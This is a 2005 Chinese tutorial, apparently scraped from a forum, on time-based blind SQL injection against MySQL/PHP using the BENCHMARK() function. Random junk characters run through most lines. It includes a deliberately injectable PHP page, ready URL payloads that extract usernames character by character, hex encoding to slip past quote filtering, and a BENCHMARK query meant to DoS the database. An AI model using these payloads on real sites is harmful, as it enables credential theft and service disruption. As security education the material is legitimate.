MYSQL中BENCHMARK函数的利用
# m# t0 d. x" f7 x. L" c6 A' ]本文作者:SuperHei
. g5 S0 W& r, w# d! B文章性质:原创5 D& [. N+ B( C# x
发布日期:2005-01-02
% @6 @: K+ |2 `) @! r* _' q' t完成日期:2004-07-09 , ]$ z) o% S6 u% \$ f
第一部
4 e9 j/ O/ f% n1 t; r) L( D0 B% s3 Q2 X+ U+ z) u+ I
利用时间推延进行注射---BENCHMARK函数在注射中的利用 # |/ c+ v5 b; l" P+ Y" t
* y$ t, Z3 _! P' x9 }4 p' D一.前言/思路
1 O, A, O! v3 o" k+ Q$ t: |9 |7 j: a# _8 A. ^/ }+ S: ?9 Y
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
' H8 ~9 `6 n6 |" Z
9 @3 i) v; H: Q8 Q, B, r. o1 j 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。4 D0 C5 ]# H, l) E! R, K5 \' g
. C& z' U6 C6 P0 S6 V% D
二.关于BENCHMARK函数 G. G: I; Q! `: X
3 I9 R! X7 R# E) `3 X- x 在MySQL参考手册里可以看到如下描叙: ( \* j7 `7 G7 T+ t: d
5 H; ?( z; ~" M0 K: g+ d% c0 j g
--------------------------------------------------------------------------------
@; K; }3 u1 M* v2 u) o8 q7 O4 L V8 r; P5 q P, Q
BENCHMARK(count,expr) 8 t9 ]; C; f( ^3 i( c6 }& [
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 u# ]1 E5 F( I# z p1 ]
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
1 j* m, U# h+ W$ b1 H# _; a+----------------------------------------------+ / ?& q7 l2 D8 n! e4 ^) [
| BENCHMARK(1000000,encode("hello","goodbye")) | / g& M; z0 s4 p: t+ ^
+----------------------------------------------+ / y* |: ~' J: a" f% o
| 0 | 5 S a; b4 `" }" c% v% O
+----------------------------------------------+ ) q U6 O( O/ I4 `" W* }
1 row in set (4.74 sec) / `& R; S1 R4 X* v% {2 G1 s4 f$ Q
: l. {1 ^+ {. W2 D/ @- x2 }报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
. H& i: z$ D. E( C7 G& F1 r! M9 F( _; e& l
C7 P1 S/ l" E) I* f+ l--------------------------------------------------------------------------------
( c1 L/ J( c% Z2 K- E
; H* ^! `( @2 w& G2 l2 g3 Q 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: * u/ R$ g1 _) B7 t G* C* d
6 a! V7 c' Z( N1 @4 J# k
mysql> select md5( 'test' );
7 W3 @9 Q& N! j/ @. c8 I% e. d8 c+----------------------------------+
( Q2 H4 K @8 s3 V' c+ z4 [: ?| md5( 'test' ) |
; X5 x- |7 d9 i* e, _* g+----------------------------------+
8 m; M- l1 l6 z2 o6 p| 098f6bcd4621d373cade4e832627b4f6 |
0 b% t$ e) t8 ]+----------------------------------+
( U7 ]8 B' q7 v( Q) L6 O1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec ; S9 u( A) Z6 q
0 i0 d( T' s) m& {7 M) F0 `
mysql> select benchmark( 500000, md5( 'test' ) ); ! r* }* T+ i6 ~& r
+------------------------------------+
7 ]/ h1 a( B8 D# U$ s, b6 O7 G| benchmark( 500000, md5( 'test' ) ) | - F( u, D; b1 L- j! q4 \! H: K: \( K
+------------------------------------+ * _( B- w6 u' ?$ K# K
| 0 |
5 r1 `9 v# d; l3 C P9 \3 ]8 @+------------------------------------+
! g, \4 T1 c% G+ e; n+ g1 row in set (6.55 sec) 〈------------执行时间为6.55 sec# q7 k6 y9 O. M: ~; H; u) f
0 F5 ~# y8 Q) p7 d% |) Q6 j
1 g* ]6 |4 n% [7 E! U: R; [) p! {
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
( R$ A0 i) p$ H6 p4 Q
~1 h: p* e0 J7 n, J. E三.具体例子+ A2 c+ W( N! F3 J" ]1 `
# D+ [% d* @1 m( Z/ w( P 首先我们看个简单的php代码:
- {1 p$ _" x2 r1 _
# {: X+ D- T p. r# C' \. w< ?php 8 G0 N/ c' E0 {
$servername = "localhost"; ( C. H' y# f* j3 o
$dbusername = "root"; 3 _* R# x+ `" b
$dbpassword = "";
7 A9 C1 z) R* G4 [4 `' p$dbname = "injection";
: _) Q0 r# v$ o7 Z% E! K$ T9 A1 r/ N) C0 E
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ( U% @7 S5 S' Z# ]5 M' Q0 r
1 m. j# X( W ^) j
$sql = "SELECT * FROM article WHERE articleid=$id";
% ?) P5 v7 F" h3 R4 G' |: Q0 ?$result = mysql_db_query($dbname,$sql); / V0 K4 I& o4 Y+ S
$row = mysql_fetch_array($result); $ {" D% `& l; K) R `
& x6 j0 E/ n% `% G. @% t2 ?$ ]' e
if (!$row)
\ Q S- H9 f8 Z. ~( {, `{
# M2 a- j) V/ \1 p* w0 Sexit;
8 o) E" f/ a$ B} ! {$ G, x R9 q8 Z9 d; o1 G! k8 K
?>& M7 t( g" z/ A2 [3 s; z) A5 ]. b5 j
! H: y, b$ W7 I; d& C/ ?$ x1 ] Z+ s
& J7 \! r$ C" E3 ~1 K 数据库injection结构和内容如下:
4 ^5 m) _, Q. j" F
4 _8 K' A1 m( U0 M/ U3 B, f! k# 数据库 : `injection` ( T" |1 `; g( j
#
9 W. p6 N3 v9 k( h$ ], |& f7 W$ V/ j3 z# T6 G5 e
# -------------------------------------------------------- & s! z+ J, m4 L, h A/ @! W
/ s4 [/ ~7 C+ v) H2 b& C. Z* J: V$ T
# ) X1 }1 v; _' Q) R9 c7 G. w
# 表的结构 `article`
( W6 x& | J4 B4 X, U# z+ k#
" x7 K' J' k. u) f' Y
+ U+ N% [2 h$ \5 FCREATE TABLE `article` ( $ d* j; W H- S v0 A3 x2 y' ^
`articleid` int(11) NOT NULL auto_increment,
/ N. ?# X o* C! C5 D* N( E`title` varchar(100) NOT NULL default '',
( w1 Q# a+ T2 v7 P: R`content` text NOT NULL,
6 } w& s; b! d/ F8 {( q# YPRIMARY KEY (`articleid`)
% ^' f: I* Z$ h6 ?' w6 s* C6 m) TYPE=MyISAM AUTO_INCREMENT=3 ; 5 D/ S7 P5 E G! [
4 Z) z! e' D9 Z3 V% j/ ] F2 C: i
#
5 J: }) _) y+ W# 导出表中的数据 `article` ) g+ f+ _) [$ Y( i) c) h5 U$ _
#
F2 [' z" u, k9 s7 d* G/ _' x ?0 {
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
$ i& e# h* L- Q& Q+ c; u+ I7 H( D" N2 vINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
2 ^9 j* R4 M* T) l2 F$ Q1 ^- c
% ?9 _9 V" C+ ~+ O+ q0 {; X# -------------------------------------------------------- . r# Q8 U7 K! {! ^
( T( _) d' s0 Y7 h& m2 c" {
#
7 c8 g; m* l* P) q0 U. _- H# 表的结构 `user`
+ W1 m4 C$ S9 l' p# ! v3 [" C! m* }" t! N& G$ [5 }
0 e) r2 W' H4 s. K3 f+ t7 g3 h
CREATE TABLE `user` ( $ Z) h4 a* T! v: m
`userid` int(11) NOT NULL auto_increment,
j6 C+ ?1 \0 u. r. l( H2 p& q/ C`username` varchar(20) NOT NULL default '', ) s" a5 g* r% M: j; @
`password` varchar(20) NOT NULL default '', ' h- k& Z9 C. F, i: S3 h
PRIMARY KEY (`userid`)
7 c" y& f* l9 a: J Q8 P) TYPE=MyISAM AUTO_INCREMENT=3 ;
* @1 q5 Q6 T+ N9 j: V
# u! ?4 B5 |& k/ Q' V. \# . |0 X5 X5 d% F4 @$ l2 `
# 导出表中的数据 `user` ! h. L. E* j4 w
#
Y# X7 e1 q/ M; ]" ~" _
6 v, l. @ y# i: v$ m( l) O0 {INSERT INTO `user` VALUES (1, 'angel', 'mypass');
3 D- ]% E4 ~# v# P$ TINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
, k9 X4 }& P/ C* }/ k: c, @
; o+ ^1 q F$ }7 k
9 E/ f! z8 [! f5 r, K! W" Y4 A8 H$ K0 Q 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
* x% Y- I" y: Q7 T% {. `& r# m% j
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
, b" {9 F+ r8 p% ~' B. [. b0 {4 z& k
" w! Z2 p) Y9 g6 i7 p
; ^1 N; {- s) V9 E 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:" C2 G1 z& s( M
( B. p6 s, p: c- q# s. @/ |* ~
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*' |" @1 J! w- T5 v; y
; Y$ k9 ~$ G9 C6 F" U9 o1 t' C' e3 n. r. k2 m
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 5 i" G* f! k4 y3 t
- l: m- V- G$ c/ ]) J' s3 O
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 ( }( e, k* z6 K, ]- s' X
& {7 ?3 o, A3 ~) j, S9 a
第二部7 m6 l7 X& y1 Q# E
: O* O4 p9 d2 O2 s9 S, _利用BENCHMARK函数进行ddos攻击
+ c8 n9 s$ u ^% G. b: @$ ?% ]
4 _1 g9 J- w4 K 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
( ]' l& m6 Z. e
+ E9 d4 o. o. W( Y9 A+ ~% Z# jhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
% P4 z$ |1 m$ A
; \5 v& i% ]9 o6 H- h! ^+ H& B5 n' H1 w* `; C2 J
小结
7 W3 _' G7 e9 V) N/ i4 c# K7 n9 F' r+ v3 F/ i6 n3 O* ]
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
: D) h" ?2 |! |6 y
) [4 S1 r1 [1 u8 K . ~! S4 u/ Q. m, J/ D
|